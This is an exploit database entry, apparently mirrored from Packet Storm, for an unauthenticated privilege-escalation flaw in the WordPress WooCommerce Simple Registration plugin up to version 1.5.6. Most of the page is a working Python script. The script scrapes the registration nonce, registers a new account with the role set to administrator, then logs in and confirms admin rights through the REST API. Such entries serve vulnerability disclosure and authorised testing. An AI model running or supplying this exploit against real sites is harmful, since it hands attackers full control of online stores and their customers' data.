Lucene search
+L

📄 WordPress WooCommerce Simple Registration 1.5.6 Unauthenticated Privilege Escalation

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

Unauthenticated users can escalate to administrator in WordPress WooCommerce Simple Registration <=1.5.6 via the role parameter.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin WooCommerce Simple Registration <= 1.5.6 - Unauthenticated Privilege Escalation to Administrator
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/woocommerce-simple-registration/
    # Software Link: https://downloads.wordpress.org/plugin/woocommerce-simple-registration.1.5.6.zip
    # Version: 1.5.6 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-32511
    """
    WooCommerce Simple Registration <= 1.5.6 hooks update_user_register() on user_register and calls
    wp_update_user(['role' => $_POST['role']]) with NO whitelist/validation (woocommerce-simple-
    registration.php:252). An unauthenticated visitor submitting the front-end registration form
    (shortcode [woocommerce_simple_registration]) with role=administrator becomes an administrator.
    
    Prior state: WooCommerce active, customer registration enabled, a page with the shortcode.
    """
    import argparse, sys, re, random
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--reg-path", default="/wcreg/")
        ap.add_argument("--user", default="wsr" + str(random.randint(1000, 99999)))
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        html = s.get(base + args.reg_path).text
        m = re.search(r'name="woocommerce-register-nonce"\s+value="([a-f0-9]+)"', html)
        nonce = m.group(1) if m else None
        print(f"[*] Target: {base}{args.reg_path} | nonce: {nonce}")
        r = s.post(base + args.reg_path,
                   data={"username": args.user, "email": args.user + "@evil.com", "password": args.pw,
                         "role": "administrator", "register": "Register",
                         "woocommerce-register-nonce": nonce, "_wpnonce": nonce}, allow_redirects=True)
        print(f"[*] register -> HTTP {r.status_code}")
        # prove: log in as the new user and check admin dashboard access
        a = requests.Session(); a.verify = False
        a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        a.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        logged = any("wordpress_logged_in" in c.name for c in a.cookies)
        rest_nonce = a.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
        me = a.get(base + "/wp-json/wp/v2/users/me?context=edit",
                   headers={"X-WP-Nonce": rest_nonce}) if logged else None
        try:
            roles = me.json().get("roles", []) if me is not None else []
        except ValueError:
            roles = []
        print(f"[*] new user login: {logged} | REST self roles: {roles}")
        if logged and "administrator" in roles:
            print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED — new user '{args.user}' is an administrator.")
            return 0
        print("\n[-] not confirmed (registration open? nonce? role not elevated)")
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.19.8
EPSS0.00501
SSVC
7